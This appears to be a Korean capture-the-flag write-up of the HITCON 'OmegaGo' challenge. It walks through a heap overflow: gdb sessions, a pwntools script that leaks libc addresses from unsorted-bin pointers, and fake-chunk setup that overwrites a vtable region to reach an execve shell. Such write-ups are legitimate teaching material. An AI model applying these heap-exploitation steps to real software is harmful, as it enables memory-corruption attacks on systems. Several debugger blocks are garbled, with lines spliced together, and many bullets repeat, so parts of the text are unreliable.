...
| Code Block |
|---|
gdb-peda$ b *0x4015CE Breakpoint 1 at 0x4015ce gdb-peda$ c Continuing. regret Breakpoint 1, 0x00000000004015ce in ?? () gdb-peda$ i r rdi rdi 0x61d220 0x61d220 gdb-peda$ p main_arena.top $1 = (mchunkptr) 0x61d210 gdb-peda$ c Continuing. Breakpoint 1, 0x00000000004015ce in ?? () gdb-peda$ i r rdi rdi 0x61d160 0x61d160 gdb-peda$ ni gdb-peda$ p main_arena.bins[0] $2 = (mchunkptr) 0x61d150 gdb-peda$ p main_arena.bins[1] $3 = (mchunkptr) 0x61d150 gdb-peda$ gdb-peda$ x/4gx 0x61d150 0x61d150: 0xb3c74b70123a5ec4 0x0000000000000091 0x61d160: 0x00007ffff7839b78 0x00007ffff7839b78 gdb-peda$ |
- 다음과 같은 방법으로 gPlayerGameInfo에 저장된 값(Heap address)을 변경할 수 변경하기 전에 중요한 부분이 있습니다.
Script를 이용해 gHistory[]영역에 GameInfo를 365개를 저장합니다.
이로 인해 gPlayerGameInfo의 board[0] 영역에 Heap 영역이 저장됩니다.
gPlayerGameInfo(0x609fc0) : 0x1c88e30
gPlayerGameInfo 영역에 저장된 Heap 주소 값은 사용자 입력 값으로 변경 할 수 있습니다.
사용자 입력 값으로 "D19"를 입력합니다.
해당 값으로 인해 gPlayerGameInfo에 저장된 Heap 주소가 "0x1c88e30" 에서 "0x1c88eb0"으로 변경되었습니다.
"0x1c88e30" + "0x80" = 0x1c88eb0
| Code Block |
|---|
lazenca0x0@ubuntu:~$ gdb -p 4425
gdb-peda$ x/4gx 0x609FC0
0x609fc0: 0x0000000001c88e30 0x0000000000000000
0x609fd0: 0x0000000000000000 0x0000000000000000
gdb-peda$ b *0x4015CE
Breakpoint 1 at 0x4015ce
gdb-peda$ c
Continuing.
Input "D19"
gdb-peda$ x/4gx 0x609FC0
0x609fc0: 0x0000000001c88eb0 0x0000000001c88ef0
0x609fd0: 0x0000000001c88fb0 0x0000000000000000
gdb-peda$ p/x 0x1c88e30 + 0x80
$1 = 0x1c88eb0
gdb-peda$ |
- 다음과 같은 방법으로 Unsorted chunk의 fd, bk영역에 저장된 main_arena.top의 주소 값 출력 할 수있습니다.
- "regret" 기능을 호출하면 gHistory[] 배열의 마지막에 저장된 2개의 Heap 영역이 해제됩니다.
- 앞에서 설명했듯이 HUMAN GameInfo(0x1c88ef0) 영역이 Unsorted chunk됩니다.
- Unsorted chunk(0x1c88ee0)의 fd, bk 영역에 main_arena.top의 주소 값이 저장됩니다.
- fd(0x1c88ef0) : 0x7f4b7d233b78
- bk(0x1c88ef8) : 0x7f4b7d233b78
- regret() 함수는 gHistory[365]에 저장된 주소(0x1c88eb0)를 이용해 GameInfo를 gPlayerGameInfo 전역 변수에 저장합니다.
- 즉, Unsorted chunk(0x1c88ee0)의 fd, bk 영역이 출력됩니다.
- 해당 값을 앞에서 작성한 Decode() 함수를 이용해 해석 할 수 있습니다.
- "regret" 기능을 호출하면 gHistory[] 배열의 마지막에 저장된 2개의 Heap 영역이 해제됩니다.
- 그것은 바로 gPlayerGameInfo에 저장된 값(Heap address) 입니다.
- 해당 프로그램은 2bit를 이용해 HUMAN,AI의 표시를 구분합니다.
- 다음으로 중요한 것은 사용자 입력값에 의해 2bit 모두 1이 될 수 없습니다.
- 즉, 사용자 입력 값으로 gPlayerGameInfo에 저장된 값을 변경하는데 제약이 있다는 것입니다.
- 그것은 바로 gPlayerGameInfo에 저장된 값(Heap address) 입니다.
- 다음은 gPlayerGameInfo 전역변수에 0x61cc90 값이 저장되어 있을 경우 입니다.
- 해당 주소를 bit로 변경하면 "0110 0001 1100 1100 1001 0000"이 됩니다.
- 여기서 사용자가 값을 입력 할 수 있는 부분은 다음과 같습니다.
- bit의 값이 "00"인 부분만 값을 저장 할 수 있습니다.
- "0110 0001 1100 1100 1001 0000"
- gPlayerGameInfo 전역변수에 저장되는 주소 값을 변경하기 위해서 surrender() 함수를 호출하는 것으로 해결 할 수 있습니다.
- surrender() 함수를 호출하면 게임이 재설정됩니다.
- 재설정이 이전에 사용하던 AI, HUMAN Class 의 vtable 영역은 해제가 되지 않기 때문에 gPlayerGameInfo 전역변수에 저장되는 Heap 주소가 변경됩니다.
- surrender() 함수를 호출하면 게임이 재설정됩니다.
- 다음과 같은 방법으로 gPlayerGameInfo에 저장된 값(Heap address)을 변경할 수 있습니다.
- Script를 이용해 gHistory[]영역에 GameInfo를 365개를 저장합니다.
- 이로 인해 gPlayerGameInfo의 board[0] 영역에 Heap 영역이 저장됩니다.
- gPlayerGameInfo(0x609fc0) : 0x1c88e30
- gPlayerGameInfo(0x609fc0) : 0x1c88e30
- gPlayerGameInfo 영역에 저장된 Heap 주소 값은 사용자 입력 값으로 변경 할 수 있습니다.
- 이로 인해 gPlayerGameInfo의 board[0] 영역에 Heap 영역이 저장됩니다.
- 사용자 입력 값으로 "D19"를 입력합니다.
- 해당 값으로 인해 gPlayerGameInfo에 저장된 Heap 주소가 "0x1c88e30" 에서 "0x1c88eb0"으로 변경되었습니다.
- "0x1c88e30" + "0x80" = 0x1c88eb0
- "0x1c88e30" + "0x80" = 0x1c88eb0
- 해당 값으로 인해 gPlayerGameInfo에 저장된 Heap 주소가 "0x1c88e30" 에서 "0x1c88eb0"으로 변경되었습니다.
- Script를 이용해 gHistory[]영역에 GameInfo를 365개를 저장합니다.
| Code Block |
|---|
lazenca0x0@ubuntu:~$ gdb -p 4425
gdb-peda$ x/4gx 0x609FC0
0x609fc0: 0x0000000001c88e30 0x0000000000000000
0x609fd0: 0x0000000000000000 0x0000000000000000
gdb-peda$ b *0x4015CE
Breakpoint 1 at 0x4015ce |
| Code Block |
gdb-peda$ c Continuing. Breakpoint 1, 0x00000000004015ce in ?? () gdb-peda$ c Continuing. Breakpoint 1, 0x00000000004015ce in ?? () gdb-peda$ niInput "D19" gdb-peda$ x/4gx 0x1c88ef0 - 0x10 0x1c88ee00x609FC0 0x609fc0: 0x33bb5de964b6f8480x0000000001c88eb0 0x00000000000000910x0000000001c88ef0 0x1c88ef00x609fd0: 0x00007f4b7d233b780x0000000001c88fb0 0x00007f4b7d233b780x0000000000000000 gdb-peda$ p/x 0x1c88ef00x1c88e30 -+ 0x1c88eb00x80 $2$1 = 0x400x1c88eb0 gdb-peda$ |
- 다음과 같은 방법으로 Unsorted chunk의 fd, bk영역에 저장된 main_arena.top의 주소 값 출력 할 수있습니다.
- "regret" 기능을 호출하면 gHistory[] 배열의 마지막에 저장된 2개의 Heap 영역이 해제됩니다.
- 앞에서 설명했듯이 HUMAN GameInfo(0x1c88ef0) 영역이 Unsorted chunk됩니다.
- Unsorted chunk(0x1c88ee0)의 fd, bk 영역에 main_arena.top의 주소 값이 저장됩니다.
- fd(0x1c88ef0) : 0x7f4b7d233b78
- bk(0x1c88ef8) : 0x7f4b7d233b78
- regret() 함수는 gHistory[365]에 저장된 주소(0x1c88eb0)를 이용해 GameInfo를 gPlayerGameInfo 전역 변수에 저장합니다.
- 즉, Unsorted chunk(0x1c88ee0)의 fd, bk 영역이 출력됩니다.
- 해당 값을 앞에서 작성한 Decode() 함수를 이용해 해석 할 수 있습니다.
- "regret" 기능을 호출하면 gHistory[] 배열의 마지막에 저장된 2개의 Heap 영역이 해제됩니다.
| Code Block |
|---|
gdb-peda$ c Continuing. Breakpoint 1, 0x00000000004015ce in ?? () gdb-peda$ c Continuing. Breakpoint 1, 0x00000000004015ce in ?? () gdb-peda$ nic Continuing. ^C Program received signal SIGINT, Interrupt. 0x00007f4b7cf66230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 in ../sysdeps/unix/syscall-template.S gdb-peda$ x/12gx 0x609FC0 0x609fc0: 0x0000000000000000 0x0000000000000031 0x609fd0: 0x0000000001c88f70 0x0000000001c83880 0x609fe0: 0x0000000000000000 0x0000000000000000 0x609ff04gx 0x1c88ef0 - 0x10 0x1c88ee0: 0x33bb5de964b6f848 0x0000000000000091 0x60a0000x1c88ef0: 0x00007f4b7d233b78 0x00007f4b7d233b78 0x60a010: 0x0000000000000000 0x0000000000000000gdb-peda$ p/x 0x1c88ef0 - 0x1c88eb0 $2 = 0x40 gdb-peda$ |
- 다음 코드를 이용할 수 있습니다.
c
Continuing.
^C
Program received signal SIGINT, Interrupt.
0x00007f4b7cf66230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84 in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/12gx 0x609FC0
0x609fc0: 0x0000000000000000 0x0000000000000031
0x609fd0: 0x0000000001c88f70 0x0000000001c83880
0x609fe0: 0x0000000000000000 0x0000000000000000
0x609ff0: 0x33bb5de964b6f848 0x0000000000000091
0x60a000: 0x00007f4b7d233b78 0x00007f4b7d233b78
0x60a010: 0x0000000000000000 0x0000000000000000
gdb-peda$ |
- 다음 코드를 이용할 수 있습니다.
| Code Block | ||||
|---|---|---|---|---|
| ||||
from pwn import *
#context.log_level = 'debug'
col_list = ['A', | ||||
| Code Block | ||||
| ||||
from pwn import *
#context.log_level = 'debug'
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')
def Play(location):
p.recvuntil('\n\n')
p.sendline(location)
def surrender():
p.recvuntil('\n\n')
p.sendline('surrender')
p.recvuntil('Play history? (y/n)')
p.sendline('n')
p.recvuntil('Play again? (y/n)')
p.sendline('y')
def Fill(colStart, colEnd, row):
for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
locate = str(col_list[colNum])
locate += str(row)
Play(locate)
def readBoard():
global board
board = []
p.recvline()
for line in range(0,19):
p.recv(3)
board.append(p.recvuntil('\n')[0:19])
def decode(offset):
bit_offset = offset * 8
data = ''.join(board)
result = 0
for i in xrange(32):
states = '.OX\0'
val = states.index(data[bit_offset + i])
result |= val << (i * 2)
#print str(result) + ' |= ' + str(val) + ' << (' + str(i) + '* 2)'
return result
def LeakLibcAddress():
readBoard()
return decode(32)
#Memory reconstruction
surrender()
surrender()
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)
#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
p.recvuntil('\n\n')
p.sendline('regret')
libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3be7b8
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))
p.interactive() |
...
- 다음과 같은 구조로 Fake chunk를 생성할 수 있습니다.
- 해당 바이너리의 취약성을 이용해 0x00에 Heap address를 저장한 후 Fake chunk를 가리키도록 해야 합니다.
| Panel | ||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
- 아래 스크립트를 이용해 Fake chunk의 기본 모형을 만들수 있습니다.
| Code Block |
|---|
- 다음과 같이 Fake chunk를 확인 할 수 있습니다.
...
#Memory reconstruction
surrender()
surrender()
surrender()
surrender()
surrender()
surrender()
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
Fill('A','S',count)
Fill('A','A',11)
#Fake Chunk
Play('D14')
Play('R8')
#0xXXXX410 -> 0xxxxx550
Fill('A','I',10)
p.interactive() |
- 다음과 같이 Fake chunk를 확인 할 수 있습니다.
| Code Block | ||
|---|---|---|
| ||
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py
[!] Could not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 6327
[*] Libc Address : 0x7f575e361b78
[*] Libc Base Address : 0x7f575dfa33c0
[*] execve bash Address : 0x7f575e089a7d
[*] Switching to interactive mode
ABCDEFGHIJKLMNOPQRS
19 ..O...XXOX\x00XO......
18 ...................
17 ...................
16 ...................
15 ...................
14 ...X...............
13 ...................
12 .O.................
11 XXXXXXXXXXXXXXXXXXX
10 XXXXXXXXXOOOOOOOOOO
9 OOOOOOOOOOOOOOOOOOO
8 .................X.
7 ...................
6 ...............O...
5 ...................
4 ...................
3 ...................
2 ...................
1 ...................
Time remain: O: 180.00, X: 179.85
$ |
| Code Block |
|---|
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 6411
Attaching to process 6411
Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
Reading symbols from /usr/lib/x86_64-linux-gnu/libstdc++.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libgcc_s.so.1...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done.
done.
Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libm-2.23.so...done.
done.
Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done.
done.
0x00007f25b8a7d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84 ../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ x/4gx 0x609FC0
0x609fc0: 0x00000000012da010 0x0000000000000000
0x609fd0: 0x0000000000000000 0x0000000000000020
gdb-peda$ x/20gx 0x00000000012da010
0x12da010: 0x0000000000000000 0x0000000000000000
0x12da020: 0x0000000000000000 0x0000000000000020
0x12da030: 0xaaaa000000001000 0x555555aaaaaaaaaa
0x12da040: 0x0000000155555555 0x0000000000000020
0x12da050: 0x0000000000001000 0x0000000000000000
0x12da060: 0x0000000000000000 0x0000000000000000
0x12da070: 0x0000000a00000009 0x500001000000004f
0x12da080: 0x40667feca89fc6d3 0x40667b00d3cff652
0x12da090: 0x0000000000000000 0x000000000000df71
0x12da0a0: 0x0000000000000000 0x0000000000000000
gdb-peda$ c
Continuing. |
- 다음과 같이 변경되었습니다.
| Code Block | ||
|---|---|---|
$ P1 | ||
| Code Block | ||
| ||
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py [!] Could not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead [+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 5414 [*] Libc Address : 0x7fe144078b78 [*] Libc Base Address : 0x7fe143cba3c0 [*] execve bash Address : 0x7fe143da0a7d [*] Switching to interactive mode ABCDEFGHIJKLMNOPQRS 19 ..OO...........XXO\x00X.O...... 18 .................O\x00.. 17 .......XXO\x00X.O............ 16 ..................OXO.XXO\x00X. 15 .O.................. 14 ...X............... 13 ................... 12 .O................. 11 XXXXXXXXXXXXXXXXXXX 10 .........O.........XXXXXXXXXOOOOOOOOOO 9 OOOOOOOOOOOOOOOOOOO 8 .................X. 7 ................... 6 ...............O... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................X... Time remain: O: 180.00, X: 179153.8556 $ |
| Code Block |
|---|
lazenca0x0@ubuntu:~$ gdb -q -p 5414 Attaching to process 5414 Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.^C Program received signal SIGINT, Interrupt. 0x00007f25b8a7d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 in ../sysdeps/unix/syscall-template.S gdb-peda$ x/20gx4gx 0x609FC0 0x609fc0: 0x00000000000000000x00000000012da050 0x00000000000000000x00000000012da0d0 0x609fd0: 0x00000000000000000x00000000012da190 0x0000000000000020 0x609fe0: 0xaaaa000000001000 0x50000100002aaaaa 0x609ff0gdb-peda$ x/10gx 0x00000000012da050 - 0x10 0x12da040: 0x0000000155555555 0x0000000000000020 0x60a0000x12da050: 0x0000000000001000 0x0000000000000000 0x60a0100x12da060: 0x0000000000000000 0x0000000000000000 0x60a0200x12da070: 0x00000001000000070x0000000a00000009 0x500001000000004f 0x60a0300x12da080: 0x40667fecbd987c61 0x40667b28a82a5614 0x60a040: 0x0000000000000000 0x0000000000000000 0x60a050: 0x0000000000000000 0x00000000000000000x40667feca89fc6d3 0x40667b00d3cff652 gdb-peda$ |
- 다음과 같은 방법으로 gameInfo에 overwrite된 주소값을 0x00의 위치로 변경할 수 있습니다.
- "surrender" 명령어를 3번 실행합니다.
- Overflow를 통해 gameInfo.board[0]영역에 저장되는 값이 0x*****410으로 끝나는 값이 되도록하기 위해서입니다.
Fake chunk 좌표값(D14, R8)을 입력합니다.
- gameInfo.board[0]에 저장된 값 0x*****410을 x*****550 으로 변경합니다.
- 이는 앞에서 설명한 "Fake chunk 구조" 에서 0x00 위치를 가리키도록 하는 것입니다.
- 좌표값 'P1', '01'
- "surrender" 명령어를 실행합니다.
- "surrender" 명령어를 3번 실행합니다.
- 디버깅을 통해 확인해 보겠습니다.
- D14, R8을 입력해 gameInfo.board[3], gameInfo.board[7]영역에 Fake chunk(0x20)을 저장합니다.
- gameInfo.board[0]영역에 주소값이 overwrite될 때 까지 게임을 Play 합니다.
- gameInfo.board[0]영역에 0x0707410 저장됬으며, P1, O1을 입력해 0x0707410 을 0x0707550으로 변경합니다.
- 그리고 "surrender" 명령어를 실행 후, Computer class의 vtable를 저장할 heap영역으로 0x0707550 영역이 할당됩니다.
- Computer class 영역에 원하는 주소 영역을 저장하였습니다.
- 이로 인해 0x0707550을 공격자가 원하는 값으로 덮어쓸수 있게 되었습니다.
- History[] 배열에 저장되는 Play 정보를 저장하는 Heap 영역을 메모리 0x0707550 보다 낮은 주소에서 부터 Heap 공간을 할당합니다.
...